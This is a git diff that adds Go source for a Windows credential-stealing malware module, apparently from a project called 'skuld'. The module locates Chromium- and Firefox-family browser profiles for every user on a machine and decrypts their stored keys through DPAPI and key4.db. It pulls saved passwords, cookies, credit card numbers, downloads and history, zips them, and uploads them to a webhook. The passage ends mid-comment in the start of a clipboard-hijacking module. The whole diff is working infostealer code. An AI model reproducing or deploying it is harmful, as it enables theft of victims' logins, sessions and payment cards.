zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/browsers/._downloads.go b/modules/browsers/._downloads.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/browsers/._logins.go b/modules/browsers/._logins.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/browsers/._masterkey.go b/modules/browsers/._masterkey.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/browsers/._structs.go b/modules/browsers/._structs.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/browsers/browsers.go b/modules/browsers/browsers.go new file mode 100644 index 0000000..20b4376 --- /dev/null +++ b/modules/browsers/browsers.go @@ -0,0 +1,222 @@ +package browsers + +import ( + "fmt" + "github.com/hackirby/skuld/utils/fileutil" + "github.com/hackirby/skuld/utils/hardware" + "github.com/hackirby/skuld/utils/requests" + "os" + "path/filepath" + "strings" +) + +func ChromiumSteal() []Profile { + var prof []Profile + for _, user := range hardware.GetUsers() { + for name, path := range GetChromiumBrowsers() { + path = filepath.Join(user, path) + if !fileutil.IsDir(path) { + continue + } + + browser := Browser{ + Name: name, + Path: path, + User: strings.Split(user, "\\")[2], + } + + var profilesPaths []Profile + if strings.Contains(path, "Opera") { + profilesPaths = append(profilesPaths, Profile{ + Name: "Default", + Path: browser.Path, + Browser: browser, + }) + + } else { + folders, err := os.ReadDir(path) + if err != nil { + continue + } + for _, folder := range folders { + if folder.IsDir() { + dir := filepath.Join(path, folder.Name()) + if fileutil.Exists(filepath.Join(dir, "Web Data")) { + profilesPaths = append(profilesPaths, Profile{ + Name: folder.Name(), + Path: dir, + Browser: browser, + }) + } + + } + } + } + + if len(profilesPaths) == 0 { + continue + } + + c := Chromium{} + err := c.GetMasterKey(path) + if err != nil { + continue + } + for _, profile := range profilesPaths { + profile.Logins, _ = c.GetLogins(profile.Path) + profile.Cookies, _ = c.GetCookies(profile.Path) + profile.CreditCards, _ = c.GetCreditCards(profile.Path) + profile.Downloads, _ = c.GetDownloads(profile.Path) + profile.History, _ = c.GetHistory(profile.Path) + prof = append(prof, profile) + } + + } + } + return prof +} + +func GeckoSteal() []Profile { + var prof []Profile + for _, user := range hardware.GetUsers() { + for name, path := range GetGeckoBrowsers() { + path = filepath.Join(user, path) + if !fileutil.IsDir(path) { + continue + } + + browser := Browser{ + Name: name, + Path: path, + User: strings.Split(user, "\\")[2], + } + + var profilesPaths []Profile + + profiles, err := os.ReadDir(path) + if err != nil { + continue + } + for _, profile := range profiles { + if !profile.IsDir() { + continue + } + dir := filepath.Join(path, profile.Name()) + files, err := os.ReadDir(dir) + if err != nil { + continue + } + if len(files) <= 10 { + continue + } + + profilesPaths = append(profilesPaths, Profile{ + Name: profile.Name(), + Path: dir, + Browser: browser, + }) + } + + if len(profilesPaths) == 0 { + continue + } + + for _, profile := range profilesPaths { + g := Gecko{} + g.GetMasterKey(profile.Path) + profile.Logins, _ = g.GetLogins(profile.Path) + profile.Cookies, _ = g.GetCookies(profile.Path) + profile.Downloads, _ = g.GetDownloads(profile.Path) + profile.History, _ = g.GetHistory(profile.Path) + prof = append(prof, profile) + } + + } + } + return prof +} + +func Run(webhook string) { + tempDir := filepath.Join(os.TempDir(), "browsers-temp") + os.MkdirAll(tempDir, os.ModePerm) + + defer os.RemoveAll(tempDir) + + var profiles []Profile + profiles = append(profiles, ChromiumSteal()...) + profiles = append(profiles, GeckoSteal()...) + + if len(profiles) == 0 { + return + } + + for _, profile := range profiles { + if len(profile.Logins) == 0 && len(profile.Cookies) == 0 && len(profile.CreditCards) == 0 && len(profile.Downloads) == 0 && len(profile.History) == 0 { + continue + } + os.MkdirAll(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), os.ModePerm) + + if len(profile.Logins) > 0 { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "URL", "Username", "Password")) + for _, login := range profile.Logins { + fileutil.AppendFile(fmt.Sprintf("%s\\%s\\%s\\%s\\logins.txt", tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), fmt.Sprintf("%-50s %-50s %-50s", login.LoginURL, login.Username, login.Password)) + } + } + + if len(profile.Cookies) > 0 { + for _, cookie := range profile.Cookies { + var expires string + if cookie.ExpireDate == 0 { + expires = "FALSE" + } else { + expires = "TRUE" + } + + var host string + if strings.HasPrefix(cookie.Host, ".") { + host = "FALSE" + } else { + host = "TRUE" + } + + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "cookies.txt"), fmt.Sprintf("%s\t%s\t%s\t%s\t%d\t%s\t%s", cookie.Host, expires, cookie.Path, host, cookie.ExpireDate, cookie.Name, cookie.Value)) + } + } + + if len(profile.CreditCards) > 0 { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "Number", "Expiration Month", "Expiration Year", "Name", "Address")) + for _, cc := range profile.CreditCards { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", cc.Number, cc.ExpirationMonth, cc.ExpirationYear, cc.Name, cc.Address)) + } + } + + if len(profile.Downloads) > 0 { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "Target Path", "URL")) + for _, download := range profile.Downloads { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", download.TargetPath, download.URL)) + } + } + + if len(profile.History) > 0 { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "Title", "URL")) + for _, history := range profile.History { + fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", history.Title, history.URL)) + } + } + + } + tempZip := filepath.Join(os.TempDir(), "browsers.zip") + if err := fileutil.Zip(tempDir, tempZip); err != nil { + return + } + defer os.Remove(tempZip) + + requests.Webhook(webhook, map[string]interface{}{ + "embeds": []map[string]interface{}{ + { + "title": "Browsers", + "description": fmt.Sprintf("```%s```", fileutil.Tree(tempDir, "")), + }, + }, + }, tempZip) +} diff --git a/modules/browsers/conn.go b/modules/browsers/conn.go new file mode 100644 index 0000000..deb9e96 --- /dev/null +++ b/modules/browsers/conn.go @@ -0,0 +1,17 @@ +package browsers + +import ( + "database/sql" + "fmt" + + _ "modernc.org/sqlite" +) + +func GetDBConnection(database string) (*sql.DB, error) { + connection, err := sql.Open("sqlite", fmt.Sprintf("file:%s?mode=ro&immutable=1", database)) + if err != nil { + return nil, err + } + + return connection, nil +} diff --git a/modules/browsers/cookies.go b/modules/browsers/cookies.go new file mode 100644 index 0000000..2df56fe --- /dev/null +++ b/modules/browsers/cookies.go @@ -0,0 +1,91 @@ +package browsers + +import ( + "path/filepath" + + _ "modernc.org/sqlite" +) + +func (c *Chromium) GetCookies(path string) (cookies []Cookie, err error) { + db, err := GetDBConnection(filepath.Join(path, "Network", "Cookies")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT name, encrypted_value, host_key, path, expires_utc FROM cookies") + if err != nil { + return nil, err + } + defer rows.Close() + + for rows.Next() { + var ( + name, host, path string + encryptedValue, value []byte + expiresUtc int64 + ) + if err = rows.Scan(&name, &encryptedValue, &host, &path, &expiresUtc); err != nil { + continue + } + + if name == "" || host == "" || path == "" || encryptedValue == nil { + continue + } + + cookie := Cookie{ + Name: name, + Host: host, + Path: path, + ExpireDate: expiresUtc, + } + + value, err = c.Decrypt(encryptedValue) + if err != nil { + continue + } + cookie.Value = string(value) + cookies = append(cookies, cookie) + } + + return cookies, nil +} + +func (g *Gecko) GetCookies(path string) (cookies []Cookie, err error) { + db, err := GetDBConnection(filepath.Join(path, "cookies.sqlite")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT name, value, host, path, expiry FROM moz_cookies") + if err != nil { + return nil, err + } + + defer rows.Close() + + for rows.Next() { + var ( + name, host, path string + value []byte + expiry int64 + ) + if err = rows.Scan(&name, &value, &host, &path, &expiry); err != nil { + continue + } + + if name == "" || host == "" || path == "" || value == nil { + continue + } + + cookie := Cookie{ + Name: name, + Host: host, + Path: path, + ExpireDate: expiry, + Value: string(value), + } + cookies = append(cookies, cookie) + } + + return cookies, nil +} diff --git a/modules/browsers/creditcard.go b/modules/browsers/creditcard.go new file mode 100644 index 0000000..b8f2808 --- /dev/null +++ b/modules/browsers/creditcard.go @@ -0,0 +1,52 @@ +package browsers + +import ( + "path/filepath" + + _ "modernc.org/sqlite" +) + +func (c *Chromium) GetCreditCards(path string) (creditCards []CreditCard, err error) { + db, err := GetDBConnection(filepath.Join(path, "Web Data")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, billing_address_id FROM credit_cards") + if err != nil { + return nil, err + } + + defer rows.Close() + + for rows.Next() { + + var ( + name, month, year, address string + value, encryptValue []byte + ) + if err := rows.Scan(&name, &month, &year, &encryptValue, &address); err != nil { + continue + } + if month == "" || year == "" || encryptValue == nil { + continue + } + + creditCard := CreditCard{ + Name: name, + ExpirationYear: year, + ExpirationMonth: month, + Address: address, + } + + value, err = c.Decrypt(encryptValue) + if err != nil { + continue + } + + creditCard.Number = string(value) + creditCards = append(creditCards, creditCard) + } + + return creditCards, nil +} diff --git a/modules/browsers/crypto.go b/modules/browsers/crypto.go new file mode 100644 index 0000000..81bd2cc --- /dev/null +++ b/modules/browsers/crypto.go @@ -0,0 +1,232 @@ +package browsers + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/des" + "crypto/hmac" + "crypto/sha1" + "crypto/sha256" + "encoding/asn1" + "errors" + "syscall" + "unsafe" + + "golang.org/x/crypto/pbkdf2" +) + +func DPAPI(encryptPass []byte) ([]byte, error) { + dllCrypt := syscall.NewLazyDLL("Crypt32.dll") + dllKernel := syscall.NewLazyDLL("Kernel32.dll") + procDecryptData := dllCrypt.NewProc("CryptUnprotectData") + procLocalFree := dllKernel.NewProc("LocalFree") + + type dataBlob struct { + cbData uint32 + pbData *byte + } + + var outBlob dataBlob + var newBlob *dataBlob + + if len(encryptPass) == 0 { + newBlob = &dataBlob{} + } + newBlob = &dataBlob{ + pbData: &encryptPass[0], + cbData: uint32(len(encryptPass)), + } + r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(newBlob)), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) + if r == 0 { + return nil, err + } + defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) + d := make([]byte, outBlob.cbData) + copy(d, (*[1 << 30]byte)(unsafe.Pointer(outBlob.pbData))[:]) + return d, nil +} + +type ASN1PBE interface { + Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) +} + +func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { + var ( + n nssPBE + m metaPBE + l loginPBE + ) + if _, err := asn1.Unmarshal(b, &n); err == nil { + return n, nil + } + if _, err := asn1.Unmarshal(b, &m); err == nil { + return m, nil + } + if _, err := asn1.Unmarshal(b, &l); err == nil { + return l, nil + } + return nil, errors.New("decode ASN1 data failed") +} + +type nssPBE struct { + AlgoAttr struct { + asn1.ObjectIdentifier + SaltAttr struct { + EntrySalt []byte + Len int + } + } + Encrypted []byte +} + +func (n nssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { + hp := sha1.Sum(append(globalSalt, masterPwd...)) + s := append(hp[:], n.salt()...) + chp := sha1.Sum(s) + pes := paddingZero(n.salt(), 20) + tk := hmac.New(sha1.New, chp[:]) + tk.Write(pes) + pes = append(pes, n.salt()...) + k1 := hmac.New(sha1.New, chp[:]) + k1.Write(pes) + tkPlus := append(tk.Sum(nil), n.salt()...) + k2 := hmac.New(sha1.New, chp[:]) + k2.Write(tkPlus) + k := append(k1.Sum(nil), k2.Sum(nil)...) + iv := k[len(k)-8:] + return des3Decrypt(k[:24], iv, n.encrypted()) +} + +func (n nssPBE) salt() []byte { + return n.AlgoAttr.SaltAttr.EntrySalt +} + +func (n nssPBE) encrypted() []byte { + return n.Encrypted +} + +type metaPBE struct { + AlgoAttr algoAttr + Encrypted []byte +} + +type algoAttr struct { + asn1.ObjectIdentifier + Data struct { + Data struct { + asn1.ObjectIdentifier + SlatAttr slatAttr + } + IVData ivAttr + } +} + +type ivAttr struct { + asn1.ObjectIdentifier + IV []byte +} + +type slatAttr struct { + EntrySalt []byte + IterationCount int + KeySize int + Algorithm struct { + asn1.ObjectIdentifier + } +} + +func (m metaPBE) Decrypt(globalSalt, _ []byte) (key2 []byte, err error) { + k := sha1.Sum(globalSalt) + key := pbkdf2.Key(k[:], m.salt(), m.iterationCount(), m.keySize(), sha256.New) + iv := append([]byte{4, 14}, m.iv()...) + return aes128CBCDecrypt(key, iv, m.encrypted()) +} + +func (m metaPBE) salt() []byte { + return m.AlgoAttr.Data.Data.SlatAttr.EntrySalt +} + +func (m metaPBE) iterationCount() int { + return m.AlgoAttr.Data.Data.SlatAttr.IterationCount +} + +func (m metaPBE) keySize() int { + return m.AlgoAttr.Data.Data.SlatAttr.KeySize +} + +func (m metaPBE) iv() []byte { + return m.AlgoAttr.Data.IVData.IV +} + +func (m metaPBE) encrypted() []byte { + return m.Encrypted +} + +type loginPBE struct { + CipherText []byte + Data struct { + asn1.ObjectIdentifier + IV []byte + } + Encrypted []byte +} + +func (l loginPBE) Decrypt(globalSalt, _ []byte) (key []byte, err error) { + return des3Decrypt(globalSalt, l.iv(), l.encrypted()) +} + +func (l loginPBE) iv() []byte { + return l.Data.IV +} + +func (l loginPBE) encrypted() []byte { + return l.Encrypted +} + +func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + encryptLen := len(encryptPass) + if encryptLen < block.BlockSize() { + return nil, errors.New("length of encrypted password less than block size") + } + + dst := make([]byte, encryptLen) + mode := cipher.NewCBCDecrypter(block, iv) + mode.CryptBlocks(dst, encryptPass) + dst = pkcs5UnPadding(dst, block.BlockSize()) + return dst, nil +} + +func pkcs5UnPadding(src []byte, blockSize int) []byte { + n := len(src) + paddingNum := int(src[n-1]) + if n < paddingNum || paddingNum > blockSize { + return src + } + return src[:n-paddingNum] +} + +func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { + block, err := des.NewTripleDESCipher(key) + if err != nil { + return nil, err + } + blockMode := cipher.NewCBCDecrypter(block, iv) + sq := make([]byte, len(src)) + blockMode.CryptBlocks(sq, src) + return pkcs5UnPadding(sq, block.BlockSize()), nil +} + +func paddingZero(s []byte, l int) []byte { + h := l - len(s) + if h <= 0 { + return s + } + for i := len(s); i < l; i++ { + s = append(s, 0) + } + return s +} diff --git a/modules/browsers/decrypt.go b/modules/browsers/decrypt.go new file mode 100644 index 0000000..977e770 --- /dev/null +++ b/modules/browsers/decrypt.go @@ -0,0 +1,43 @@ +package browsers + +import ( + "crypto/aes" + "crypto/cipher" + "errors" +) + +func (c *Chromium) Decrypt(encryptPass []byte) ([]byte, error) { + if len(c.MasterKey) == 0 { + return DPAPI(encryptPass) + } + + if len(encryptPass) < 15 { + return nil, errors.New("empty password") + } + + crypted := encryptPass[15:] + nounce := encryptPass[3:15] + + block, err := aes.NewCipher(c.MasterKey) + if err != nil { + return nil, err + } + blockMode, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + origData, err := blockMode.Open(nil, nounce, crypted, nil) + if err != nil { + return nil, err + } + return origData, nil +} + +func (g *Gecko) Decrypt(encryptPass []byte) ([]byte, error) { + PBE, err := NewASN1PBE(encryptPass) + if err != nil { + return nil, err + } + var key []byte + return PBE.Decrypt(g.MasterKey, key) +} diff --git a/modules/browsers/downloads.go b/modules/browsers/downloads.go new file mode 100644 index 0000000..6850dd7 --- /dev/null +++ b/modules/browsers/downloads.go @@ -0,0 +1,82 @@ +package browsers + +import ( + "path/filepath" + "regexp" + + _ "modernc.org/sqlite" +) + +func (c *Chromium) GetDownloads(path string) (downloads []Download, err error) { + db, err := GetDBConnection(filepath.Join(path, "History")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT tab_url, target_path FROM downloads") + if err != nil { + return nil, err + } + + defer rows.Close() + + for rows.Next() { + var ( + url, path string + ) + if err = rows.Scan(&url, &path); err != nil { + continue + } + + if url == "" || path == "" { + continue + } + + downloads = append(downloads, Download{ + URL: url, + TargetPath: path, + }) + + } + + return downloads, nil +} + +func (g *Gecko) GetDownloads(path string) (downloads []Download, err error) { + db, err := GetDBConnection(filepath.Join(path, "places.sqlite")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id") + if err != nil { + return nil, err + } + + defer rows.Close() + + for rows.Next() { + var ( + content, url string + placeID, dateAdded int64 + ) + + if err = rows.Scan(&placeID, &content, &url, &dateAdded); err != nil { + continue + } + if url == "" || path == "" { + continue + } + re := regexp.MustCompile(`file:///(.*?),`) + result := re.FindStringSubmatch(content) + if len(result) == 0 { + continue + } + downloads = append(downloads, Download{ + URL: url, + TargetPath: result[1], + }) + } + + return downloads, nil +} diff --git a/modules/browsers/history.go b/modules/browsers/history.go new file mode 100644 index 0000000..8170401 --- /dev/null +++ b/modules/browsers/history.go @@ -0,0 +1,83 @@ +package browsers + +import ( + "path/filepath" + + _ "modernc.org/sqlite" +) + +func (c *Chromium) GetHistory(path string) (history []History, err error) { + db, err := GetDBConnection(filepath.Join(path, "History")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT url, title, visit_count, last_visit_time FROM urls") + if err != nil { + return nil, err + } + defer rows.Close() + + for rows.Next() { + var ( + url, title string + visitCount int + lastVisitTime int64 + ) + if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil { + continue + } + + if url == "" || title == "" { + continue + } + + history = append(history, History{ + URL: url, + Title: title, + VisitCount: visitCount, + LastVisitTime: lastVisitTime, + }) + + } + + return history, nil +} + +func (g *Gecko) GetHistory(path string) (history []History, err error) { + db, err := GetDBConnection(filepath.Join(path, "places.sqlite")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT url, title, visit_count, last_visit_date FROM moz_places") + if err != nil { + return nil, err + } + defer rows.Close() + + for rows.Next() { + var ( + url, title string + visitCount int + lastVisitTime int64 + ) + if err = rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil { + continue + } + + if url == "" || title == "" { + continue + } + + history = append(history, History{ + URL: url, + Title: title, + VisitCount: visitCount, + LastVisitTime: lastVisitTime, + }) + + } + + return history, nil +} diff --git a/modules/browsers/logins.go b/modules/browsers/logins.go new file mode 100644 index 0000000..f8bfa93 --- /dev/null +++ b/modules/browsers/logins.go @@ -0,0 +1,99 @@ +package browsers + +import ( + "encoding/base64" + "encoding/json" + "os" + + "path/filepath" + + _ "modernc.org/sqlite" +) + +func (c *Chromium) GetLogins(path string) (logins []Login, err error) { + db, err := GetDBConnection(filepath.Join(path, "Login Data")) + if err != nil { + return nil, err + } + + rows, err := db.Query("SELECT action_url, username_value, password_value, date_created FROM logins") + if err != nil { + return nil, err + } + defer rows.Close() + + for rows.Next() { + var ( + url, username string + pwd, password []byte + create int64 + ) + if err := rows.Scan(&url, &username, &pwd, &create); err != nil { + continue + } + if url == "" || username == "" || pwd == nil { + continue + } + + login := Login{ + Username: username, + LoginURL: url, + } + + password, err = c.Decrypt(pwd) + if err != nil { + continue + } + + login.Password = string(password) + logins = append(logins, login) + } + + return logins, nil +} + +func (g *Gecko) GetLogins(path string) (logins []Login, err error) { + s, err := os.ReadFile(path + "\\logins.json") + if err != nil { + return nil, err + } + + var data struct { + NextId int `json:"nextId"` + Logins []struct { + Hostname string `json:"hostname"` + EncryptedUsername string `json:"encryptedUsername"` + EncryptedPassword string `json:"encryptedPassword"` + } + } + if err = json.Unmarshal(s, &data); err != nil { + return nil, err + } + + for _, v := range data.Logins { + decodedUser, err := base64.StdEncoding.DecodeString(v.EncryptedUsername) + if err != nil { + return nil, err + } + decodedPass, err := base64.StdEncoding.DecodeString(v.EncryptedPassword) + if err != nil { + return nil, err + } + decryptedUser, err := g.Decrypt(decodedUser) + if err != nil { + return nil, err + } + decryptedPass, err := g.Decrypt(decodedPass) + if err != nil { + return nil, err + } + + logins = append(logins, Login{ + Username: string(decryptedUser), + Password: string(decryptedPass), + LoginURL: v.Hostname, + }) + } + + return logins, nil +} diff --git a/modules/browsers/masterkey.go b/modules/browsers/masterkey.go new file mode 100644 index 0000000..5df7860 --- /dev/null +++ b/modules/browsers/masterkey.go @@ -0,0 +1,92 @@ +package browsers + +import ( + "bytes" + "encoding/base64" + "encoding/json" + "errors" + "os" + "path/filepath" + + "github.com/hackirby/skuld/utils/fileutil" + _ "modernc.org/sqlite" +) + +func (c *Chromium) GetMasterKey(path string) error { + b, err := fileutil.ReadFile(filepath.Join(path, "Local State")) + if err != nil { + return err + } + defer os.Remove("masterkey_db") + + var data struct { + OsCrypt struct { + EncryptedKey string `json:"encrypted_key"` + } `json:"os_crypt"` + } + err = json.Unmarshal([]byte(b), &data) + if err != nil { + return err + } + + key, err := base64.StdEncoding.DecodeString(data.OsCrypt.EncryptedKey) + if err != nil { + return err + } + + c.MasterKey, err = DPAPI(key[5:]) + if err != nil { + return err + } + + return nil +} + +func (g *Gecko) GetMasterKey(path string) error { + var globalSalt, metaBytes, nssA11, nssA102, key []byte + + keyDB, err := GetDBConnection(filepath.Join(path, "key4.db")) + + if err != nil { + return err + } + + if err = keyDB.QueryRow(`SELECT item1, item2 FROM metaData WHERE id = 'password'`).Scan(&globalSalt, &metaBytes); err != nil { + return err + } + + if err = keyDB.QueryRow(`SELECT a11, a102 from nssPrivate`).Scan(&nssA11, &nssA102); err != nil { + return err + } + + metaPBE, err := NewASN1PBE(metaBytes) + if err != nil { + return err + } + + k, err := metaPBE.Decrypt(globalSalt, key) + if err != nil { + return err + } + + if !bytes.Contains(k, []byte("password-check")) { + return errors.New("password check error") + } + + if !bytes.Equal(nssA102, []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}) { + return errors.New("nssA102 error") + } + + nssPBE, err := NewASN1PBE(nssA11) + if err != nil { + return err + } + + finallyKey, err := nssPBE.Decrypt(globalSalt, key) + if err != nil { + return err + } + + g.MasterKey = finallyKey[:24] + return nil +} diff --git a/modules/browsers/paths.go b/modules/browsers/paths.go new file mode 100644 index 0000000..397e171 --- /dev/null +++ b/modules/browsers/paths.go @@ -0,0 +1,58 @@ +package browsers + +func GetChromiumBrowsers() map[string]string { + return map[string]string{ + "Chromium": "AppData\\Local\\Chromium\\User Data", + "Thorium": "AppData\\Local\\Thorium\\User Data", + "Chrome": "AppData\\Local\\Google\\Chrome\\User Data", + "Chrome (x86)": "AppData\\Local\\Google(x86)\\Chrome\\User Data", + "Chrome SxS": "AppData\\Local\\Google\\Chrome SxS\\User Data", + "Maple": "AppData\\Local\\MapleStudio\\ChromePlus\\User Data", + "Iridium": "AppData\\Local\\Iridium\\User Data", + "7Star": "AppData\\Local\\7Star\\7Star\\User Data", + "CentBrowser": "AppData\\Local\\CentBrowser\\User Data", + "Chedot": "AppData\\Local\\Chedot\\User Data", + "Vivaldi": "AppData\\Local\\Vivaldi\\User Data", + "Kometa": "AppData\\Local\\Kometa\\User Data", + "Elements": "AppData\\Local\\Elements Browser\\User Data", + "Epic Privacy Browser": "AppData\\Local\\Epic Privacy Browser\\User Data", + "Uran": "AppData\\Local\\uCozMedia\\Uran\\User Data", + "Fenrir": "AppData\\Local\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer", + "Catalina": "AppData\\Local\\CatalinaGroup\\Citrio\\User Data", + "Coowon": "AppData\\Local\\Coowon\\Coowon\\User Data", + "Liebao": "AppData\\Local\\liebao\\User Data", + "QIP Surf": "AppData\\Local\\QIP Surf\\User Data", + "Orbitum": "AppData\\Local\\Orbitum\\User Data", + "Dragon": "AppData\\Local\\Comodo\\Dragon\\User Data", + "360Browser": "AppData\\Local\\360Browser\\Browser\\User Data", + "Maxthon": "AppData\\Local\\Maxthon3\\User Data", + "K-Melon": "AppData\\Local\\K-Melon\\User Data", + "CocCoc": "AppData\\Local\\CocCoc\\Browser\\User Data", + "Brave": "AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data", + "Amigo": "AppData\\Local\\Amigo\\User Data", + "Torch": "AppData\\Local\\Torch\\User Data", + "Sputnik": "AppData\\Local\\Sputnik\\Sputnik\\User Data", + "Edge": "AppData\\Local\\Microsoft\\Edge\\User Data", + "DCBrowser": "AppData\\Local\\DCBrowser\\User Data", + "Yandex": "AppData\\Local\\Yandex\\YandexBrowser\\User Data", + "UR Browser": "AppData\\Local\\UR Browser\\User Data", + "Slimjet": "AppData\\Local\\Slimjet\\User Data", + "Opera": "AppData\\Roaming\\Opera Software\\Opera Stable", + "OperaGX": "AppData\\Roaming\\Opera Software\\Opera GX Stable", + } +} + +func GetGeckoBrowsers() map[string]string { + return map[string]string{ + "Firefox": "AppData\\Roaming\\Mozilla\\Firefox\\Profiles", + "SeaMonkey": "AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles", + "Waterfox": "AppData\\Roaming\\Waterfox\\Profiles", + "K-Meleon": "AppData\\Roaming\\K-Meleon\\Profiles", + "Thunderbird": "AppData\\Roaming\\Thunderbird\\Profiles", + "IceDragon": "AppData\\Roaming\\Comodo\\IceDragon\\Profiles", + "Cyberfox": "AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles", + "BlackHaw": "AppData\\Roaming\\NETGATE Technologies\\BlackHaw\\Profiles", + "Pale Moon": "AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles", + "Mercury": "AppData\\Roaming\\mercury\\Profiles", + } +} diff --git a/modules/browsers/structs.go b/modules/browsers/structs.go new file mode 100644 index 0000000..bb91a12 --- /dev/null +++ b/modules/browsers/structs.go @@ -0,0 +1,63 @@ +package browsers + +type Chromium struct { + MasterKey []byte +} + +type Gecko struct { + MasterKey []byte +} + +type Browser struct { + Name string + Path string + User string +} + +type Profile struct { + Name string + Path string + Browser Browser + + Logins []Login + Cookies []Cookie + CreditCards []CreditCard + Downloads []Download + History []History +} + +type Login struct { + Username string + Password string + LoginURL string +} + +type Cookie struct { + Host string + Name string + Path string + Value string + ExpireDate int64 +} + +type CreditCard struct { + GUID string + Name string + ExpirationYear string + ExpirationMonth string + Number string + Address string + Nickname string +} + +type Download struct { + TargetPath string + URL string +} + +type History struct { + Title string + URL string + VisitCount int + LastVisitTime int64 +} diff --git a/modules/clipper/._clipper.go b/modules/clipper/._clipper.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/clipper/clipper.go b/modules/clipper/clipper.go new file mode 100644 index 0000000..e9a0e63 --- /dev/null +++ b/modules/clipper/clipper.go @@ -0,0 +1,34 @@ +package clipper + +import ( + "context" + "golang.design/x/clipboard" + "regexp" +) + +// Run watches the clipboard for 